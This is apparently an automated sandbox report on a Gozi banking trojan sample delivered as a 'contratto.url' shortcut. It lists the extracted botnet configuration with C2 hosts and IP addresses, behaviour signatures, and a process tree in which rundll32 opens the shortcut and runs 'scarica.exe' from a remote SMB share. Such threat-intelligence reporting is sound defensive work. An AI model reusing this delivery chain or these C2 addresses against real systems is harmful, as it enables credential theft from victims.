Analysis

  • max time kernel
    132s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2023, 10:48

General

  • Target
    contratto/contratto.url
  • Size 196B
  • Sample230123-mv42lsch76
  • SHA256 c66981ec7d3867d2481ac3ba2cd40f63fdc29782de6d6cbc88fff9376d71d1d3
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Extracted

Family
  • gozi

Botnet
  • 7707

C2
  • checklist.skype.com

  • 62.173.149.10

  • 31.41.44.27

  • 193.0.178.235

Attributes
  • base_path

    /drew/

  • build

    250250

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:628
    • \??\UNC\193.233.175.99\Agenzia\scarica.exe
      "\\193.233.175.99\Agenzia\scarica.exe"
      2⤵
        PID:2052

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2052-133-0x000000000079C000-0x00000000007B2000-memory.dmp

          memory/2052-134-0x00000000005A0000-0x00000000005AB000-memory.dmp

          memory/2052-135-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/2052-136-0x0000000000710000-0x000000000071D000-memory.dmp

          memory/2052-139-0x000000000079C000-0x00000000007B2000-memory.dmp

          memory/2052-140-0x00000000005A0000-0x00000000005AB000-memory.dmp

          memory/2052-141-0x0000000000400000-0x0000000000458000-memory.dmp